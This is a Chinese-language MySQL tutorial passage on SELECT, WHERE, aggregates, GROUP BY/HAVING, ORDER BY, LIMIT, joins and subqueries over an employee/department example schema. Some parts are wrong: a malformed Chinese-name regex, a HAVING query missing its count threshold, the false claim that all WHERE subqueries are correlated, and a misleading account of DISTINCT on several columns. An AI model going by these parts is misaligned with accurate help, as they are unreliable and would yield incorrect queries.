    最基本的查询语句就是SELECT和FROM关键字组成,SELECT语句屏蔽了物理层的操作,用户不必关系数据的真实存储,交互由数据库高效的查询数据。

    All或者*: 默认保留所有的结果

    Distinct: 去重, 查出来的结果,将重复给去除(所有字段都相同)

     

     

    7.4.2 去重查询

    语法格式

    SELECT DISTINCT 字段 FROM 表名;

    假如我们查询员工职业,执行如下语句

    SELECT job FROM t_emp;

    我们发现有很多重复的记录,因为职业是有可能相同的。

    此时我们加上distinct,继续执行

    SELECT DISTINCT job FROM t_emp;

    现在发现查询出来的职业信息就没有重复了。

    注意点:

    1.distinct关键字只能在select子句中使用一次

    SELECT DISTINCT job, DISTINCT ename FROM t_emp;

    写2个distinct直接报错

     

    2.distinct关键字只能写在select子句的第一个字段前面,否则报错,若有多个字段,则distinct失效。

    SELECT job, DISTINCT ename FROM t_emp; 
    /* distinct写在第二个字段前面 */

     

    distinct没有写在第一个字段前面,结果直接报错

    若有多个字段,即使写在第一个字段前面,distinct也失效。

    SELECT DISTINCT job, ename FROM t_emp;

    job并没有想象中的去重,distinct失效了,因为针对了你的所有字段,只要有一个字段不同就算是不同,所以distinct失效了。

     

    3.综上1、2所述,distinct只能存在于select子句查询一个字段的情况,否则要么失效,要么语法报错。

     

    7.4.3 字段别名

    字段别名: 当数据进行查询出来的时候, 有时候名字并不一定就满足需求(多表查询的时候, 会有同名字段). 需要对字段名进行重命名: 别名

    语法

    字段名 [as] 别名;

    再来一个图形化界面的例子

    比如有一个数据表,你想查询员工编号和年收入,你执行结果如下:

    SELECT empno, sal*12 FROM t_emp;

     

    查询的结果集出现了名称为sal*12这一列,语义不明确。添加别名之后

    SELECT empno, sal*12 AS "income" FROM t_emp;

     

    这样就明确多了,这里只是查询的结果集修改了字段,并不会修改底层数据表的字段

    小细节:查询语句的执行顺序是先词法分析与优化,读取SQL语句,然后FROM子句选择数据来源,最后SELECT子句选择输出内容

     

    7.4.4 数据源

    数据源: 数据的来源, 关系型数据库的来源都是数据表。本质上只要保证数据类似二维表,最终都可以作为数据源。

    数据源分为多种: 单表数据源, 多表数据源, 查询语句

     

    单表数据源: select * from 表名;

     

    多表数据源: select* from 表名1,表名2...;

    从一张表中取出一条记录,去另外一张表中匹配所有记录,而且全部保留(记录数和字段数),将这种结果称为笛卡尔积(交叉连接),笛卡尔积没什么用,所以应该尽量避免。

     

    子查询: 数据的来源是一条查询语句(查询语句的结果是二维表)

    Select * from (select 语句) as 表名;

     

    7.4.5 Where子句

    Where子句: 用来判断数据,筛选数据.

    Where子句返回结果: 0或者1, 0代表false,1代表true.

     

    语法格式

    SELECT ... FROM ... WHERE 条件 [AND | OR] 条件 ......;

     

    判断条件:

    比较运算符: >, <, >=, <= ,!= ,<>, =, like, between and, in/not in

    逻辑运算符: &&(and), ||(or), !(not)

     

    Where原理: where是唯一一个直接从磁盘获取数据的时候就开始判断的条件,从磁盘取出一条记录, 开始进行where判断。判断结果如果成立则保存到内存,失败直接放弃.

    条件查询1: 要求找出学生id为1或者3或者5的学生

     

    条件查询2: 查出区间落在180,190身高之间的学生:

     

    Between本身是闭区间。between左边的值必须小于或者等于右边的值

    图形化的例子如下:

    eg1:查询部门编号为10或者20并且收入在2000及以上的记录示例:

    SELECT deptno, empno, ename, sal
    FROM t_emp
    WHERE (deptno=10 OR deptno=20) AND sal >= 2000;

    eg2:查询部门编号为10并且年收入大于15000并且工龄超过20年的职工的一些信息如下

    SELECT deptno, empno, ename, sal, hiredate 
    FROM
    	t_emp 
    WHERE
    	deptno = 10 
    	AND (
    	sal + IFNULL( comm, 0 ))* 12 >= 15000 
    	AND DATEDIFF( NOW(), hiredate )/ 365 >= 20;

     其中IFNULL(comm, 0)表示如果佣金comm为null,则返回0,这里仅仅为了演示IFNULL才加进去的。

    DATEDIFF(NOW(),hiredate)表示当前时间减去入职时间hiredate的天数。

    eg3:查询包含在10,20,30里面的部门编号并且职位不是SALESMAN并且入职日期在1985-01-01以前的员工的一些信息

    SELECT
    empno, ename, sal, deptno, hiredate, job
    FROM t_emp
    WHERE deptno IN(10, 20, 30) AND job != 'SALESMAN'
    AND	hiredate < "1985-01-01";

     

    例子太多了,下面可以不断变换各种比较运算符去举例,由于篇幅原因,这里不一一举例,只写一点需要注意的地方

    例如判断某个字段是NULL就满足条件,是WHERE comm IS NULL而不是WHERE comm = NULL

    如果不为空则满足条件,是WHERE comm IS NOT NULL而不是WHERE comm != NULL

    比如名字我只记得后面是LACK,第一个字母忘了,WHERE ename like "_LACK"

    我只记得是A开头的, WHERE ename LIKE "A%"

    我只记得名字包含字母A,WHERE ename LIKE "%A%"

    名字大部分人都是英文的,有个中文名但是我不记得了,WHERE ename REGEXP "^[\\u4e00-\\9fa5]{2, 4}$"

    汉族人一般名字是2~4个字,汉字Unicode在\\u4e00-\\9fa5之间,^以...开头,$表示以...结尾。这是正则表达式,很强大,感兴趣的小伙伴可以自行下去搜索一下

    来看几道练习题:

    例子1

    答案选择C,题目没有难度,主要熟悉语法

    例子2

    答案选择C,判断null是不能用等号的,而A是查询已经缴纳宿舍费用的学生姓名。

     

    例子3

    答案是AD,总学费是tuition和dorm_money两列之和。主要考察IFNULL和BETWEEN的运用。

    例子4

    答案是A,注意NOT IN的使用。

    例子5

    答案为B,可能有同学的疑问点在A和B两个选项中,A项中,只要名字以赵开头,条件就满足,不再往后继续判断,和C语言的短路语句一个道理。

     

    where语句使用的注意事项:

           WHERE子句中,条件执行的顺序是从左到右的。所以我们应该把索引条件或者筛选掉记录最多的条件写在最左侧。因为索引查询速度快,筛选记录最多的条件更容易触发短路语句的效果,这样就无须执行后续条件就能完成查询。

    小提示:子句的执行顺序是FROM -> WHERE -> SELECT -> ORDER BY -> LIMIT,先选择数据来源,再进行条件筛选,根据筛选完的记录选择输出内容,接着进行排序,最后选择显示的限定条件

     

    7.4.6 聚合函数

    聚合函数在数据查询分析中,应用十分广泛。聚合函数可以对数据求和、求最大值和最小值、求平均值等等。

    比如SQL提供了如下聚合函数

    Count(): 统计分组后的记录数: 每一组有多少记录

    Max(): 统计每组中非空的最大值

    Min(): 统计非空的最小值

    Avg(): 统计平均值

    Sum(): 统计和

    avg()函数:

    eg:比如求公司员工平均月收入是多少?

    SELECT AVG(sal + IFNULL(comm,0)) AS avg FROM t_emp;
    

    这里sal是月收入,comm是佣金。avg()只用来统计数字,不要去统计别的东西

    max()函数:

    eg1:查询10和20部门中,月收入最高的员工?

    SELECT MAX(sal+IFNULL(comm,0)) FROM t_emp
    WHERE deptno IN(10,20)

    eg2:查询员工名字最长的是几个字符?

    SELECT MAX(LENGTH(ename)) FROM t_emp;

    提示:LENGTH()可以统计字符个数

     

    min()函数用法和max()一样

     

    count()函数

    count(*)用于获得包含空值的记录数,count(列名)用于获得包含非空值的记录数

    SELECT COUNT(*), COUNT(comm) FROM t_emp;

    执行结果如上图,表示数据表一共14条数据,而佣金comm不为空的有4条数据

    eg1:查询10和20部门中,底薪超过2000元并且工龄超过15年的员工人数?

    SELECT COUNT(*) FROM t_emp
    WHERE deptno IN(10, 20) AND sal >= 2000
    AND DATEDIFF(NOW(),hiredate)/365 >= 15;

    注意:聚合函数永远不可能出现在where子句里,一定会报错

    练习题:

    答案是D,tuition是学费,dorm_money是宿舍费。都是一些基本语法点的考察。

     

     

    7.4.7 Group by子句

    为什么要分组呢?因为默认情况下汇总函数是对全表范围内的数据做统计。

    Group by:主要用来分组查询, 通过一定的规则将一个数据集划分为若干个小的区域,然后针对每个小区域分别进行数据汇总处理。也就是根据某个字段进行分组(相同的放一组,不同的分到不同的组)

     

    基本语法: group  by 字段名;

    图形化例子:

    eg:根据不同的部门号分组显示平均工资

    SELECT deptno, ROUND(AVG(sal)) FROM t_emp GROUP BY deptno;/*round四舍五入为整数*/

     

    逐级分组

    数据库支持多列分组条件,执行的时候逐级分组

    eg:查询每个部门里,每种职位的人员数量和平均底薪

    SELECT deptno, job, COUNT(*), AVG(sal)
    FROM t_emp
    GROUP BY deptno, job
    ORDER BY deptno;

    这里千万千万要注意一个硬性要求!

    如果查询语句中含有GROUP BY子句,那么SELECT子句中的内容必须遵守如下约定:

           SELECT子句中可以包含聚合函数或者GROUP BY子句的分组列,其余内容均不可以出现在SELECT子句中。否则查询的结果根本没有任何意义,甚至你自己根本看不懂为什么出现这个结果。任何时候看到GROUP BY 马上检查SELECT子句,若有其他字段,不用往下分析,肯定是混乱的查询。

    假如还是上面的例子

    SELECT deptno, job, COUNT(*), AVG(sal)
    FROM t_emp
    GROUP BY deptno /*相比上面的例子,这里没有job分组,但是select子句却出现了job*/
    ORDER BY deptno;
    /* select子句除了分组列字段deptno和聚合函数,还出现了job!查询结果你都看不懂 */

     

           经过对比,部门为10的里面有3条记录,但是job都为MANAGER??明显不对,看上面一个例子就知道了。

     

    对分组结果集再次做汇总计算(回溯统计)

           这里就是WITH ROLLUP的使用

    SELECT deptno, AVG(sal), SUM(sal), MAX(sal), MIN(sal), COUNT(*)
    FROM t_emp
    GROUP BY deptno WITH ROLLUP

     

    使用了WITH ROLLUP之后,你发现最底下还有一行,对应列再次做聚合计算,avg列再次做平均值计算,sum列对上面几个部门数据再次进行sum计算...

     

    GROUP_CONCAT函数

           这个函数可以把分组查询中的某个字段拼接成一个字符串

    eg:查询每个部门内底薪超过2000元的人数和员工姓名

    SELECT deptno, COUNT(*), GROUP_CONCAT(ename)
    FROM t_emp
    WHERE sal >= 2000
    GROUP BY deptno;

    看到ename都是逗号连接的字符串

     

    练习题

    答案选B,单看聚合函数就排除AC,根据含有GROUP BY子句SELECT子句会有硬性要求的问题,SELECT子句除了聚合函数以外的其他字段必须要出现在GROUP BY子句,所以排除D,答案选择B.

     

    小提示:语句的执行顺序如下:

    FROM -> WHERE -> GROUP BY -> SELECT -> ORDER BY -> LIMIT

    FROM 选择数据来源,WHERE选择条件,符合条件的记录留下来,然后经过GROUP BY分组,分完组根据SELECT子句里面聚合函数做计算,然后ORDER BY对结果集排序,最后交给LIMIT挑选返回哪些分页的数据显示。

     

    ====下面几个控制台执行的例子是我之前写的,就不删了,大家也可以对照看一下====

    分组会自动排序: 根据分组字段:默认升序

    Group by 字段 [asc|desc]; -- 对分组的结果然后合并之后的整个结果进行排序

     

    多字段分组: 先根据一个字段进行分组,然后对分组后的结果再次按照其他字段进行分组

     

    有一个函数: 可以对分组的结果中的某个字段进行字符串连接(保留该组所有的某个字段): group_concat(字段);

     

    回溯统计: with rollup: 任何一个分组后都会有一个小组, 最后都需要向上级分组进行汇报统计: 根据当前分组的字段. 这就是回溯统计: 回溯统计的时候会将分组字段置空.

     

    多字段回溯: 考虑第一层分组会有此回溯: 第二次分组要看第一次分组的组数, 组数是多少,回溯就是多少,然后加上第一层回溯即可.

     

    7.4.8 Having子句

    Having子句与where子句一样是进行条件判断的.

    有同学会问了,和where子句功能一样,那还有什么用,多此一举?

    eg1:查询部门平均底薪超过2000的员工数量,你是不是会这样写?

    SELECT deptno, COUNT(*)
    FROM t_emp
    WHERE AVG(sal) >= 2000
    GROUP BY deptno;

    结果运行出错,我们前面也说了,WHERE子句不允许出现聚合函数。而且WHERE优先级高于GROUP BY,在条件筛选的时候不知道按照什么范围去筛选,是全部数据筛选还是分部门数据筛选呢?

    解决方案来了,那就是HAVING子句,HAVING子句的出现主要是为了WHERE子句不能使用聚合函数的问题,HAVING子句不能独立存在,必须依赖于GROUP BY子句而存在,GROUP BY 执行完成就立即执行HAVING子句

    SELECT deptno, COUNT(*)
    FROM t_emp
    GROUP BY deptno HAVING AVG(sal) >= 2000;

    结果就出来了,20部门底薪超过2000的有5人,10部门底薪超过2000的有3人

     

    eg2:查询每个部门中,查询每个部门中,1982年以后入职员工超过2个人的部门编号

    SELECT deptno FROM t_emp
    WHERE hiredate>="1982-01-01"
    GROUP BY deptno HAVING COUNT(*)
    ORDER BY deptno;

     

    可以看到满足条件的有2个部门,10部门和20部门还是有老员工的。

    要注意HAVING子句判断只能和具体数值判断大小,不能和字段以及聚合函数判断,比较要有数值。比如查询工资大于平均工资的人的数量就不能写HAVING sal > AVG(sal),子句判断不是和数值在比较,直接报错。表连接能解决这个问题,后面再讲。

     

    HAVING子句的特殊用法

    如果按照数字1分组,MySQL会按照SELECT子句中的列进行分组,HAVING子句也可以正常使用

    比如按照部门分组,查询各个部门总人数

    SELECT deptno, COUNT(*) FROM t_emp GROUP BY 1;

     

    HAVING的出现是不是可以完全替换WHERE?

    那肯定是不行的,Where是针对磁盘数据进行判断,进入到内存之后会进行分组操作,分组结果就需要having来处理.

    SELECT deptno, COUNT(*) FROM t_emp
    GROUP BY 1
    HAVING deptno IN(10, 30);/*效率低了*/
    
    SELECT deptno, COUNT(*) FROM t_emp 
    WHERE deptno IN(10, 30)
    GROUP BY 1;

     从功能上来说,上面两种写法没有什么区别,但是WHERE优先级在GROUP BY之前,是先把数据按条件筛选完了再分组好呢,还是分完组再去筛选好呢?肯定是前者。所以WHERE能完成的就用WHERE完成,不要放到HAVING中。大量的数据从磁盘读取到内容代价比较大,先筛选完了,再把符合条件的记录读取到内存中显然更好。

     

    Having能做where能做的几乎所有事情, 但是where却不能做having能做的很多事情.

     1.分组统计的结果或者说统计函数都只有having能够使用.

     

    2.Having能够使用字段别名,where不能,where是从磁盘取数据,而名字只可能是字段名,别名是在字段进入到内存后才会产生.

    练习题

    答案选择A,基本语法的运用,看清表是student没有s。

     

    7.4.9 Order by子句

    Order by: 排序, 根据某个字段进行升序或者降序排序, 依赖校对集.

     

    使用基本语法

    单字段排序:

    Order by 字段名 [asc|desc]; -- asc是升序(默认的),desc是降序

    我们再图形化举例示范一下:

    执行如下语句

    SELECT empno, ename, sal, deptno FROM t_emp ORDER BY sal DESC;

    按照sal降序就排好了。

    来个练习题:

    很简单,不用多说就知道答案,估摸着有人在BC里面纠结呢,这不一样吗,答案选B,select选择输出字段之间逗号隔开,细节问题。

     

    多字段排序:

    使用order by 规定首要条件和次要条件排序。数据库会先按照首要条件排序,遇到首要排序内容相同的记录,那么会启用次要条件再次排序。

    使用图形化界面再举一个例子:

    执行如下语句

    SELECT empno, ename, sal, hiredate 
    FROM t_emp ORDER BY sal DESC, hiredate ASC;

    可以看到当首要排序条件sal记录相同时,会按照hiredate进行升序排列

    小提示:

    1.order by 写在 limit前面

    2.子句的执行顺序是FROM -> SELECT -> ORDER BY -> LIMIT,先选择数据来源,再选择输出内容,接着进行排序,最后选择显示的限定条件

    来个练习题:

    A排除,和表不对应,没有name字段,B排除,多字段之间排序用逗号隔开,D排除,升序是ASC或者不写,所以选C。

     

     

    7.4.10 Limit子句

    Limit子句是一种限制结果的语句,用来做数据分页的。

    比如我们看朋友圈,只会加载少量的部分信息,不会一次性加载全部朋友圈,那样只会浪费CPU时间、内存、网络带宽。而结果集的记录可能很多,可以使用limit关键字限定结果集数量。

    Limit有两种使用方式

    方案1: 只用来限制长度(数据量): limit 数据量;

     

    方案2: 限制起始位置,限制数量: limit 起始位置,长度;

     

    Limit方案2主要用来实现数据的分页: 为用户节省时间,提交服务器的响应效率, 减少资源的浪费.

    对于用户来讲: 可以点击的分页按钮: 1,2,3,4

    对于服务器来讲: 根据用户选择的页码来获取不同的数据: limit offset,length;

     

    Length: 每页显示的数据量: 基本不变

    Offset: offset = (页码 - 1) * 每页显示量

    小提示:子句的执行顺序 FROM -> SELECT -> LIMIT,先选择数据来源,再选择输出内容,最后选择显示的限定条件

     

    第8章 连接查询

    连接查询: 将多张表(可以大于2张)进行记录的连接(按照某个指定的条件进行数据拼接): 最终结果是: 记录数有可能变化, 字段数一定会增加(至少两张表的合并)

    连接查询的意义: 在用户查看数据的时候,需要显示的数据来自多张表.

    连接查询: join, 使用方式: 左表 join 右表

    左表: 在join关键字左边的表

    右表: 在join关键字右边的表

    8.1 连接查询分类

    SQL中将连接查询分成四类: 内连接,外连接,自然连接和交叉连接

    8.2 交叉连接

    交叉连接: cross join, 从一张表中循环取出每一条记录, 每条记录都去另外一张表的所有记录逐个进行匹配,并保留所有记录,最终形成的结果叫做笛卡尔积.

    基本语法: 左表 [cross] join 右表。其中cross可以省略

     

    笛卡尔积对于我们的查询没有意义,应该尽量避免(交叉连接没用)

    交叉连接存在的价值: 保证连接这种结构的完整性

     

    8.3 内连接

    内连接: [inner] join, 从左表中取出每一条记录,去右表中与所有的记录进行匹配,匹配必须是某个条件在左表中与右表中相同最终才会保留结果,否则不保留.

    如下,某个条件左右表相同部分的交集

     

    基本语法

    SELECT ...... FROM 表1
    [INNER] JOIN 表2 ON 条件
    [INNER] JOIN 表3 ON 条件
    ......

    内连接其实有多种语法形式,想用哪种看个人喜好,效率上没有区别。

    SELECT ... FROM 表1 JOIN 表2 ON 连接条件;
    SELECT ... FROM 表1 JOIN 表2 WHERE 连接条件;
    SELECT ... FROM 表1, 表2 WHERE 连接条件;

     我们来做个例题,首先我们看到前提条件给出了3张表

    1.员工表t_emp

    2.部门表t_dept

    3.薪资等级表t_salgrade

     

    有人会问了,内连接语法看起来就是交叉连接多了一个ON条件,但是区别可大了,来直观感受一下

    SELECT * FROM t_emp  JOIN t_dept /*交叉连接*/

     

    交叉连接产生笛卡尔积,保留所有结果,导致出现了56条记录

    SELECT * FROM t_emp e JOIN t_dept d ON e.deptno = d.deptno; /*内连接*/

     

    内连接就只针对符合条件的记录去连接,结果集少了很多条记录。

    注意:在查询数据的时候,不同表有同名字段,这个时候需要加上表名才能区分,而表名太长,通常可以使用别名,这里两张表都有deptno,表名也缩短为了一个字母

     

    再来看看具体例题

    eg1:查询每个员工的工号、姓名、部门名称、底薪、职位、工资等级

    分析:工号empno、姓名ename、底薪sal、职位job是在员工表t_emp,部门名称dname是在部门表t_dept,工资等级grade是在薪资等级表t_salgrade。现在就涉及到了3个表的操作,而员工表t_emp和部门表t_dept都有员工编号deptno字段,这个很容易作为筛选条件, 但是工资等级grade却没有相同字段去对应,那么这个就需要找到逻辑关系的对应,用底薪sal去判断薪资等级中的薪水范围即可

    SELECT e.empno, e.ename, d.dname, e.sal, e.job, s.grade
    FROM t_emp e JOIN t_dept d ON e.deptno = d.deptno
    JOIN t_salgrade s ON e.sal BETWEEN s.losal AND s.hisal;

    eg2:查询与SCOTT相同部门的员工

    分析:还是那3张表,要查和某个人相同部门的员工,有人就开始这么做,上去就是一个sql

    SELECT ename
    FROM t_emp
    WHERE deptno=(SELECT deptno FROM t_emp WHERE ename="SCOTT")
    AND ename!="SCOTT";

    括号中的查询我们称为子表,子表中查询到deptno然后把结果集给父表继续查询,写完感觉自我良好,殊不知自己写了一个领导看到就想把你开除的sql。

    FROM先执行,获取了数据表的每条记录,再去WHERE进行筛选,万一有上万条数据呢?WHERE会逐一判断上万条数据是否满足条件的时候都要去查询一个子表,相当于SELECT deptno FROM t_emp WHERE ename="SCOTT"被你执行了上万次,而子表也是上万条数据,每一次父表的条件判断又会执行上万次子表查询,数据量小的时候看不出差异,数据量大了就很明显了。

    这里用表连接的效率远远高于子查询

    SELECT e2.ename
    FROM t_emp e1 JOIN t_emp e2 ON e1.deptno=e2.deptno
    WHERE e1.ename="SCOTT" AND e2.ename!="SCOTT";

    先内连接减少数据源结果集的数量,然后进行筛选。能达到和子查询一样的效果,效率比子查询要高。

     

    eg3:查询底薪超过公司平均底薪的员工信息

    SELECT e.empno, e.ename, e.sal
    FROM t_emp e JOIN
    (SELECT AVG(sal) avg FROM t_emp) t 
    ON e.sal >= t.avg;

    把平均底薪查询结果当作一个表再和员工表t_emp连接,返回FROM子句。之前说过,这个问题是WHERE解决不了的,WHERE里面不能出现聚合函数的,直接写WHERE sal >= AVG(sal)肯定报错,而HAVING子句又只能和数值比较,这里e.sal>=t.avg表达式两边都是变量,HAVING子句无法解决。

     

    eg4:查询RESEARCH部门人数、最高底薪、最低底薪、平均底薪、平均工龄

    SELECT COUNT(*), MAX(e.sal), MIN(e.sal), AVG(e.sal),
    AVG(DATEDIFF(NOW(),e.hiredate)/365)
    FROM t_emp e JOIN t_dept d ON e.deptno=d.deptno
    WHERE d.dname="RESEARCH";

    如果前面的题目都懂了,这题就是语法复习,表连接和聚合函数的使用。

    eg5:查询每种职业的最高工资、最低工资、平均工资、最高工资等级和最低工资等级

    分析:涉及到工资等级,需要薪资等级表t_salgrade,那么就是员工表和薪资等级表的连接,因为同一种职业不同人有不同的收入,所有根据收入等级排工资等级,逻辑要捋清楚。

    SELECT
    e.job,
    MAX(e.sal + IFNULL(e.comm,0)),
    MIN(e.sal + IFNULL(e.comm,0)),
    AVG(e.sal + IFNULL(e.comm,0)),
    MAX(s.grade),
    MIN(s.grade)
    FROM t_emp e JOIN t_salgrade s
    ON (e.sal + IFNULL(e.comm,0)) BETWEEN s.losal AND s.hisal
    GROUP BY e.job;

     

     

    eg6:查询每个底薪超过部门平均底薪的员工信息

    SELECT e.empno, e.ename, e.sal
    FROM t_emp e JOIN
    (SELECT deptno, AVG(sal) avg FROM t_emp GROUP BY deptno) t
    ON e.deptno=t.deptno AND e.sal >= t.avg;

    如果只运行子表查询,得到各个部门平均底薪,可以和上图对比一下

     

    练习一下选择题

    答案选B,都是语法细节,多一个少一个标点符号的问题。A错在别名问题,应该将子表别名写在括号外,C错在没有join,写了个逗号,D错在,select子句少了逗号,这个题目考察眼力哈哈哈。

    答案选择A,考察表连接的另一种写法SELECT ... FROM 表1, 表2 WHERE 连接条件,排除D,因为两个表之间没有逗号,再排除C,因为只从一张表查不出那么多信息,最后排除B,因为NOW()后面没有逗号。

     

     

    8.4 外连接

    外连接分为两种:左(外)连接和右(外)连接。

    左外连接就是保留左表所有记录,与右表做连接。如果右表有符合条件的记录就与左表连接。如果右表没有符合条件的记录,就用NULL与左表连接。右连接也是如此。

    基本语法: 左表 left/right join 右表 on 左表.字段 = 右表.字段;

     

    为什么要有外连接?

           我们还是以内连接中提到的3张数据表为例子。

           如果有一名临时员工,没有固定的部门编号,那么我们查询每名员工和他的部门名称,用内连接就会漏掉临时员工,所以要引入外连接语法才能解决这个问题。外连接与内连接的区别在于,除了符合条件的记录之外,结果集中还会保留不符合条件的记录。

    含有临时员工的员工表t_emp

    部门表t_dept

     

    薪资等级表t_salgrade

    eg1:查询每名员工和他的部门名称

    假设我们使用内连接,我们根本查不到临时员工信息,因为临时员工没有部门编号,如下:

    SELECT e.empno, e.ename, d.dname
    FROM t_emp e JOIN t_dept d
    ON e.deptno=d.deptno;

    当我们使用外连接时,就能够查到临时员工,如下:

    /*左连接*/
    SELECT e.empno, e.ename, d.dname
    FROM t_emp e LEFT JOIN t_dept d
    ON e.deptno=d.deptno;
    
    /*右连接,换一下表的顺序,结果集一样*/
    SELECT e.empno, e.ename, d.dname
    FROM t_dept d RIGHT JOIN t_emp e 
    ON e.deptno=d.deptno;

    左表是员工表,左连接保留所有记录,没有部门编号的临时员工信息也会保留,右表部门编号没有与之匹配,那就用NULL连接。

     

    eg2:查询每个部门的名称和部门的人数

    有人容易写出下面的错误sql语句

    SELECT d.dname, COUNT(*)
    FROM t_dept d LEFT JOIN t_emp e
    ON d.deptno=e.deptno
    GROUP BY d.deptno;/*按部门分组,所以有group by*/

     

    这题很多细节,很多人会出错,40部门的部门名称为dname为OPERATIONS里没有员工,居然还是有一条记录,因为你在连接的时候左表记录全部保留,在右表中没有员工与OPERATIONS部门匹配,连接的是NULL,这也是一条记录,所以这里才会出现1。

    但是你也不要写成COUNT(d.deptno),因为左边部门表记录全保留,d.deptno有40部门,40部门的dname就是OPERATIONS,右表与之连接的都是NULL,道理和上面一样。

    所以你得按照右边员工表计算,COUNT(e.deptno),记录各个部门非空记录数。40部门没有员工,右表e.deptno没有40,NULL不会被COUNT(e.deptno)计算入内,所以是0,符合预期。

    正确的sql语句如下:

    SELECT d.dname, COUNT(e.deptno)
    FROM t_dept d LEFT JOIN t_emp e
    ON d.deptno=e.deptno
    GROUP BY d.deptno;/*按部门分组,所以有group by*/

     

    eg3:查询每个部门的名称和部门的人数,如果是没有部门的临时员工,部门名称用NULL代替

    分析:我们上一个例子已经做到了查询部门名称和部门的人数,现在就差一个临时员工和他的部门的问题,临时员工还在等着被你统计呢。临时员工在t_emp表,所以你要保留这个表的所有内容再把eg2例子的查询语句一起联合查询

    (SELECT d.dname, COUNT(e.deptno)
    FROM t_dept d LEFT JOIN t_emp e
    ON d.deptno=e.deptno
    GROUP BY d.deptno) UNION
    (SELECT d.dname, COUNT(*)
    FROM t_dept d RIGHT JOIN t_emp e
    ON d.deptno=e.deptno
    GROUP BY d.deptno);

    这个部门名称dname为NULL的就是那个临时员工。

    eg4:查询每名员工的编号、姓名、部门名称、月薪、工资等级、工龄、上司编号、上司姓名、上司部门(这个题有点综合,没点基础做不出来)

    分析:要查员工的编号、姓名、部门名称、工龄,涉及到员工表t_emp、部门表t_dept,查工资等级涉及到薪资等级表t_salgrade,有的员工是其他员工的上司,所以我们为员工表再做一次查询连接起来当作领导表,连接条件是员工的领导编号和领导的员工编号相等时,这个领导表查出来的员工,就是员工表里对应员工的领导。sql如下,你细品

    SELECT 
    	e.empno, e.ename, d.dname,
    	e.sal + IFNULL(e.comm,0), s.grade,
    	FLOOR(DATEDIFF(NOW(),e.hiredate)/365),
    	t.empno AS mgrno, t.ename AS mname, t.dname AS mdname
    FROM t_emp e LEFT JOIN t_dept d ON e.deptno=d.deptno
    LEFT JOIN t_salgrade s ON e.sal BETWEEN s.losal AND s.hisal
    LEFT JOIN
    (SELECT	e1.empno, e1.ename, d1.dname
    FROM t_emp e1 JOIN t_dept d1
    ON e1.deptno=d1.deptno
    ) t ON e.mgr=t.empno;

    外连接的注意事项:

    内连接只保留符合条件的记录,所以查询条件写在ON子句和WHERE子句中的效果是相同的。但是外连接里,条件写在WHERE子句里,不符合条件的记录是会被过滤掉的,而不是保留下来。

    我们来看看具体差别

    SELECT e.ename, d.dname, d.deptno
    FROM t_emp e
    LEFT JOIN t_dept d ON e.deptno=d.deptno
    AND e.deptno=10; /*这里是and不是where*/

     分析:左连接保留左表全部,按条件连接右表,不仅要部门编号相同,还要部门编号为10,不满足的用NULL连接,所以总记录条数就是左表的COUNT(*)数量

     

    改为WHERE之后

    SELECT e.ename, d.dname, d.deptno
    FROM t_emp e
    LEFT JOIN t_dept d ON e.deptno=d.deptno
    WHERE e.deptno=10;

    分析:左连接保留左表全部,按照部门号进行对应连接,连接完再进行筛选员工部门号位10的记录,不满足的就过滤。一步步的执行过程如下图

     

    8.5 自然连接

    自然连接: natural join, 自然连接, 就是自动匹配连接条件: 系统以字段名字作为匹配模式(同名字段就作为条件, 多个同名字段都作为条件).

     

    自然连接: 可以分为自然内连接和自然外连接.

     

    自然内连接: 左表 natural join 右表;

     

    自然外连接: 左表 natural left/right join 右表;

     

    其实, 内连接和外连接都可以模拟自然连接: 使用同名字段,合并字段

    左表 left/right/inner join 右表 using(字段名); -- 使用同名字段作为连接条件: 自动合并条件

     

    多表连接: A表 inner join B表 on 条件 left join C表 on条件 ...

    执行顺序: A表内连接B表,得到一个二维表, 左连接C表形成二维表..

     

    8.6 子查询

    子查询: sub query, 查询是在某个查询结果之上进行的.(一条select查询的sql语句内部包含了另外一条select查询的sql语句).

     

    8.6.1 子查询分类

    Where子查询: 子查询出现where条件中,where语句里不推荐使用子查询,每执行一次where条件筛选,就会进行一次子查询,效率低下。像这种反复子查询就属于相关子查询,where语句的子查询都属于相关子查询,我们要避免相关子查询的存在。

    比如查询底薪超过公司平均底薪的员工信息

    From子查询: 子查询跟在from之后,通常这种子查询的结果集作为一个临时表,from子查询只会执行一次,不是相关子查询,所以查询效率高。

    SELECT子查询,子查询跟在SELECT之后,SELECT子查询也是相关子查询,不推荐

     

     

     

     

     

    8.6.2 单行子查询和多行子查询

    单行子查询的结果集只有一条记录,多行子查询结果集有多行记录

    多行子查询只能出现在WHERE子句和FROM子句中

    eg:如何用子查询查找FORD和MARTIN两个人的同事?

    分析:同一个部门的都算作同事,而且题目限定了用子查询来做,所以不用表连接做。

    SELECT ename FROM t_emp
    WHERE deptno IN
    (SELECT deptno FROM t_emp WHERE ename IN("FORD","MARTIN"))
    AND ename NOT IN("FORD","MARTIN");

    当然这个题目用表连接做时最好的,效率比WHERE里面子查询高的多,只不过这里题目要求用子查询,这里我们还是给出表连接的sql语句供大家参考

    SELECT ename
    FROM t_emp e
    JOIN
    (SELECT deptno FROM t_emp WHERE ename IN("FORD","MARTIN")) d
    ON e.deptno=d.deptno
    AND ename NOT IN("FORD","MARTIN");/*不需要用e.ename因为只有e表有ename*/

     

    8.6.3 WHERE子句中的多行子查询

    WHERE子句中,可以用IN、ALL、ANY、EXISTS关键字来处理多行表达式结果集的条件判断。

    eg:查询比FORD和MARTIN底薪都高的员工信息?

    SELECT ename FROM t_emp
    WHERE sal > ALL
    (SELECT sal FROM t_emp
    WHERE ename IN("FORD","MARTIN"));
    

    这里是ALL,表示比FORD和MARTIN底薪都高,如果换成ANY,则表示比两者任意一个高就满足条件

     

    8.6.4 子查询的EXISTS关键字

    EXISTS关键字是把原来在子查询之外的条件判断,写到了子查询的里面。

    SELECT ... FROM 表名 WHERE [NOT] EXISTS (子查询)

    eg:查询工资等级是3级或者4级的员工信息

    SELECT empno, ename, sal
    FROM t_emp
    WHERE EXISTS(
    SELECT *           /*这里选择其他字段也可以,比如grade*/
    FROM t_salgrade
    WHERE sal BETWEEN losal AND hisal
    AND grade IN(3,4)
    )

    只要子查询结果为不为空,那么EXISTS这个条件就是满足的,这条记录就满足条件不会被过滤。

    这里只是演示WHERE多行子查询的EXISTS关键字,解决这个问题用表连接其实好的多。如下:

    SELECT empno, ename, sal
    FROM t_emp
    JOIN t_salgrade
    ON sal BETWEEN losal AND hisal AND grade IN(3,4)

     

     

    第9章 视图

